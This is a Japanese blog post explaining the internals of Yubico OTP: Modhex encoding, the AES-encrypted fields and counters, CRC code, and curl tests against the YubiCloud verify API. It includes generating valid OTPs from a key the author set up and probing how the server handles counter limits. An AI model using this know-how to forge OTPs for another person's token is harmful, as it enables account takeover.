このOTPを「私が所持するYubikeyから生成されたものかどうか」を検証することで、二要素認証の要素として利用できます。 sshログインで二要素認証にYubico OTPの使い方は、他の方が書かれているので興味のある方は検索してみてください。

Yubikeyは、USBキーボードとして認識され、円の部分をタップすることでYubico OTPを生成し、キー入力されます。

f:id:otameshi61:20161230002451g:plain

OTP(One-Time Password)という名前からもわかる通り毎回生成される文字列が異なります。 例えば、2回生成をすると、以下のような文字列が生成されます。

vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif
vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji

異なる文字列が生成されていることがわかるかと思います。

Yubico OTPの検証サーバー

OTPが、Yubikeyから生成されたのか、でたらめな文字列なのかを検証する仕組みがYubico社から提供されています(YubiCloud)。 下図は、password + Yubikeyの2要素認証を行するフローで、青色の部分でOTPをYubiCloudに問い合わせています。

1要素目のpasswordが検証されたあとに、OTPの検証をしていることがわかるかと思います。この2つの要素の認証が両方成功して、この認証は成功になるという流れです。

f:id:otameshi61:20161230002515p:plain https://developers.yubico.com/OTP/Libraries/Using_a_library.html

YubiCloudはOTPが正しいかどうかを検証するだけで、Yubikeyとユーザとの紐付けはServer側の責任となります。 Yubico OTPでは、どのYubikeyから生成されてるいるのか判別出来るように、public IDというYubikey毎に固定の値が先頭につきます。

OTPが「私が所持するYubikeyから生成されたものかどうか」は、

  1. サーバ側で、Yubikeyのpublic IDとユーザーの登録したpublic IDが正しいか
  2. YubiCloudによるOTPの検証結果

から分かります。

Modhex形式

ここからは、生成されたOTPについて説明していきます。

Yubico OTPは、16進数をModhex方式(Yubico社が定めたエンコーディング方式)で別の文字に置換されています。

YubikeyはUSBキーボードとして認識されるので、PCに設定されているキーボード設定によっては、入力がぶれてしまうことがあるそうです。 Modhex形式では、様々なキーボードでのぶれが起きにくい文字が使われているそうです。

16進数 0 1 2 3 4 5 6 7 8 9 a b c d e f
Modhex c b d e f g h i j k l n r t u v

Modhex形式を16進数に戻すコードは以下のようになります。

d = {'b': '1', 'c': '0', 'd': '2', 'e': '3', 'f': '4', 'g': '5', 'h': '6', 'i': '7', 'j': '8', 'k': '9', 'l': 'a', 'n': 'b', 'r': 'c', 't': 'd', 'u': 'e', 'v': 'f'}

def modhex2hex(x):
  return ''.join([d[i] for i in x])

この関数でOTPを16進数に変換するとこのようになります。

>>> print(modhex2hex('vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif'))
fff5edf7b76583abac0d5cfe9c916d1cccde525b2074

>>> print(modhex2hex('vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji'))
fff5edf7b7658c0b9594a3c456429787e2fadddebd87

馴染みのある16進数の表現になりましたね。 これ以降のOTPは16進数に変換後の値を使います。

public IDと暗号文

Yubico OTPは44文字の文字列で、public ID(先頭12文字)と暗号文(残り32文字)からなります。正確にはpublic IDの長さは設定で変えられますが、YubiCloudで使えるYubico OTPに話を限定します。

public IDは、OTPの中で固定の値です。 設定で変更できますが、工場出荷状態で使える設定では、必ずユニークな値となっています。

暗号文には、OTPがYubikeyから生成されたものかを検証するための情報が含まれています。

先ほどの同じYubikeyから生成した2つのOTP

  • fff5edf7b76583abac0d5cfe9c916d1cccde525b2074
  • fff5edf7b7658c0b9594a3c456429787e2fadddebd87

をpublic ID と 暗号文に分けると以下のようになります。

public ID 暗号文
fff5edf7b765 83abac0d5cfe9c916d1cccde525b2074
fff5edf7b765 8c0b9594a3c456429787e2fadddebd87

public IDが同じで、暗号文は変わっていることがわかります。

暗号化方式とその鍵

暗号化にはAES-128が使われています。

鍵はYubikey内と検証サーバー(YubiCloud)に保存されています。 YubiCloudでは、public IDから鍵を取り出し復号します。

工場出荷時に、YubiCloudへpublic IDと鍵の登録はされているので、Yubico OTPはすぐに使うことができるというわけです。

また、Yubikeyは設定に対して、書き込みを行うためのインターフェースしか用意されておらず、読み込みができないため、鍵はYubico OTP設定時にのみ分かるようになっています。

初期状態では工場でYubico OTPの設定がされているので、購入者も鍵を知ることができません。 Yubikeyの利用者は、鍵を知らずに(知ることが出来ずに)OTPを生成し、Yubico OTPという仕組みを使用することができます。

鍵の情報漏洩を心配しなくて良いのはYubikeyなどのデバイスを通した認証の良いところですね。 鍵の入ったデバイスが盗まれてしまったら元も子もないですが、public IDに紐づく情報を無効化することで被害を抑えられます。

暗号文の中身

暗号文の中身で、検証に重要な値として、

  • private ID
  • Counter

があります。

private IDは、鍵と同様に、工場で設定されYubiCloudに登録されている値です。 public IDは公開情報なので、他人のpublic IDになりすまそうとすることができますが、暗号文内のpublic IDに紐づいているprivate IDの値は分からないため、なりすましを防ぐことができます。

Counterは、YubikeyでOTPを生成する毎にカウントアップされる値です。YubiCloudでは、最後に検証したCounterを保持されており、入力されたOTPのカウンターと最後に使用したカウンターの値を比較することで、使い回しなどを防ぐことができます。 また、過去に生成したOTPが漏洩してしまったとしても、そのあとに生成したOTPを使用することで簡単に漏洩したOTPを使用できなくすることができます。

結局、YubiCloudでは、暗号文を復号し、

  1. private IDが正しいか
  2. Counterの値が新しいか

を検証します。

以下は、Yubicoのサイトに記載されている検証の流れを示した図です。

f:id:otameshi61:20161230002549p:plain https://developers.yubico.com/OTP/OTPs_Explained.html

ここまでの、まとめ

  • Yubico OTPは、YubiCloudによって検証できる
  • 暗号部分はAESで暗号化されており、購入者も鍵を知ることができないので、鍵の漏洩を心配しなくて良い
  • 暗号化された情報で改ざん防止や使い回しの防止がされている

暗号文の中身

ここからは、暗号文の中身を見ていくことで、Yubico OTPの詳細な仕様を見ていこうと思います。

暗号文の中身は16バイトで以下の値が入っています。

field名 バイト数
uid 6 private(secret) ID
useCtr 2 Usage counter
tstp 3 Timestamp
sessionCtr 1 Session usage counter
rnd 2 Random number
crc 2 CRC16 checksum

https://mowa-net.jp/wiki/YubiKey#Yubico_OTP.2BMG5O1WnY-

  • uid: public IDと1対1で対応したID。private ID。
  • useCtr: USBを抜き差しするとカウントアップされる不揮発な値。
  • tstp: デバイス起動時からカウントされる8Hzのタイマーの値。
  • sessionCtr: 揮発性の値で、USBが差さっている間に、Yubico OTPを生成するとカウントされる。
  • rnd: 乱数。
  • crc: 16bit ISO13239 1st complement checksum だそうです。チェックサム

カウンターの上限について

Yubico OTPのカウンターは、不揮発性のuseCtrと揮発性のsessionCtrの2つあります。

最後に使用したuseCtrより大きければOK、小さければNGです。useCtrが同じ場合は、sessionCtrが大きければOK、同じか小さければNGとなっています。

sessionCtrは、1バイトなので256回タップすると上限に達します。次のタップでは、useCtrがカウントアップし、sessionCtrは0になります(確認済み)。

useCtrは、2バイトなので、65535まで値を保持できます。sessionCtr 1日10回抜き差しすると大体17年くらい使える感じです。 上限に達する前に(かなり丈夫に作られてるとはいえ)壊れてしまいそうですが、上限に達したらもう一度設定し直すしかないらしいです。

Yubikey Personalization tools

暗号文の詳細を追ってくために、実際に暗号文を復号してみたいと思います。

Yubikey Personalization tools というYubikeyの設定ツールがあります。 これを使うとYubico OTPの設定を変えることができ、public ID、private IDと鍵を知ることができます。

s_Screen Shot 2016-11-20 at 14.50.54.png

新しく生成したpublic IDとprivate IDと鍵のペアをYubiCloudにアップロードすることで、Yubico OTPが使えるようになります。

自分で生成したものは先頭がvvとなり、工場で生成されたものはccから始まるよう決められており、自分で生成したものかはpublic IDから判別することが可能です。

暗号文の実際の値

鍵が a9 e2 29 33 2e 87 0f 26 1e a5 5a 2a bd ef da e0 に設定されたYubico OTPの中身を見て行きたいと思います。

以下が、復号や暗号化するコードです。

gist.github.com

以下の5つのOTPを復号してみようと思います。

vvntibfekfkkuvrvubtictldndbenurgrgbukhkutild
vvntibfekfkkcgfeljervjjcejvjkvttthndftrtbdrf
vvntibfekfkkbnkhcdiuhbbbflbuitdnecbkbnlkchgv
vvntibfekfkkbevrttebkucvbdrntikdicluudifdgil
vvntibfekfkkjfvttcrfvdkrrrvdidrrrdlcdefvhege

結果は、

$ python Yubico.py
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:f011a4 sessionCtr:00 rnd:adfd crc:7855 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:fe11a4 sessionCtr:01 rnd:cd73 crc:1308 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:1312a4 sessionCtr:02 rnd:d3dd crc:1599 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:5bd808 sessionCtr:00 rnd:f2d7 crc:ae1f >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:7fd808 sessionCtr:01 rnd:7326 crc:121d >

このようになります。 最初の3個は、同じuseCtrで、sessionCtrがカウントアップされていることがわかります。 4個目のYubico OTPを生成する前に、Yubikeyを抜き差ししました。4個目のuseCtrが2になり、sessionCtrが0に戻っていることが分かります。

checksumの計算

自分でOTPを計算していきたいと思います。

crcは、それ以外のfieldの値を使ってchecksumを計算します。 マニュアルに載っているコードは、一部間違っているようでしたので注意が必要です。

以下のコードが、チェックサムの計算と検証するコードです。

def update_crc(crc, x):
    crc ^= x
    for _ in range(8):
        flag = crc & 1
        crc >>= 1
        if flag != 0:
            crc ^= 0x8408
    return crc & 0xffff


def get_crc(s):
    assert len(s) == 14, "Invalid length"
    crc = 0x5af0
    for i in s:
        crc = update_crc(crc, i)
    return crc
    

def verify_crc(s):
    assert len(s) == 16, "Invalid length"
    crc = 0xffff
    for i in s:
        crc = update_crc(crc, i)
    return crc == 0xf0b8

YubiCloudで検証

YubikeyによるYubico OTPの生成をみてきましたが、これらの情報が検証サーバ(YubiCloud)で正しく検証されるか見ていきたいと思います。

Validation Protocol に書かれていますが、

http://api.yubico.com/wsapi/2.0/verify?otp=vvvvvvcucrlcietctckflvnncdgckubflugerlnr&id=87&timeout=8&sl=50&nonce=askjdnkajsndjkasndkjsnad

にリクエストを送ることで、OTPが正しいかを検証することができます。 OTPをotpというパラメータにセットし、それ以外のパラメータはそのままでリクエストを送ります。

YubiCloudに登録している、public IDで生成した正常なOTPを送って見ます。

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad
status=OK

status=OK から、正しいOTPであることが分かります。

同じOTPを再度、送って見ます

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_REQUEST

status=REPLAYED_REQUEST より、再送されたものであることが分かります。

その他にも、 過去のOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdficvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_OTP

一文字書き換えたOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdgicvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=BAD_OTP

となり、きちんとNGが返ってきていることが確認できます。

自分で生成したOTPを検証する

以下のpublic ID(ff39a66437d3) と private ID(065c6ad736b4)と鍵でYubiCloudに登録し、以下のOTPを検証したとします。

# vveklhhfeitehunflcgniugkjencelvjcfgjrublthei
< public_id:ff39a66437d3 private_id:065c6ad736b4 useCtr:0001 tstp:aa4865 sessionCtr:02 rnd:03cd crc:fc31 >

useCtr が1、sessionCtrが2なので、タップすればuseCtrが1、sessionCtrが3のOTPが生成されるます。 この条件で、OTPを生成し、検証してみます。

y1 = Yubico.calc_otp(key, 0xff39a66437d3, 0x065c6ad736b4, 0x01, 0x03)
print(y1.otp)  # => vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl

これを実行することで、vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl が得られます。

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが2。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
h=pNQ0bQIYZx2iBHoktz5aVjDGFvk=
t=2016-12-30T03:56:09Z0559
otp=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 自分で計算したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
h=6jnCfVVKSa0wBSlZWdZcfoIKL3k=
t=2016-12-30T04:00:39Z0699
otp=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
h=k3b7zIJOLmAflOJmwYOPzyl8wSw=
t=2016-12-30T04:00:51Z0931
otp=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

二つ目の結果から自分で生成したOTPが、検証でOKを返していることがわかります。このリクエストにより、YubiCloudのカウンターが更新され、3個目にYubickey経由で生成したOTPにも関わらず検証が失敗していることがわかります。

せっかくなのでカウンターがマックスまでいったとき、オバーフローとかして、また最初から使えないかみてみます。

# useCtr が0xffff、sessionCtrが0xff。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=gEwRfJPLZ6PTjTwnyY0lXvsgvZ4=
t=2016-12-30T04:15:05Z0073
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# useCtr が0x0、sessionCtrが0x0。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=7bNNnRVlNpH/CFPbKKF943MM1JI=
t=2016-12-30T04:15:17Z0875
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

サーバ側でオバーフローなどはしないので、やはり設定をし直すしかなさそうですね。

後半の、まとめ

  • Yubico OTPの暗号化されている中身を詳細にみてみた
  • 実際に暗号文を復号し、挙動を確かめた
  • 暗号化するコードを作り、正しく検証されるか確かめた

さいごに

Yubico OTPは、普通の使い方では鍵がもれる心配をしなくてよいためとても安全な仕組みかと思います。 公式マニュアルがややわかりにくかったのとYubicoの独自認証プロトコルなので資料がほぼなかったので書いてみました。 何かしら興味をもっていただければ幸いです。

参考

その他にもYubikeyのことが書かれた日本語のブログはお世話になりました。

もし公式ドキュメントを読みたい方は、

  • ドキュメント量は多いが整理されていないので注意する
  • 名称のブレがとにかく激しいので、ノリで理解する
    • 例えば、public ID, Yubikey Token, publicname は全部同じものを指します。

に注意してください。

どこか間違っている点や疑問点などあればコメントいただけると助かります。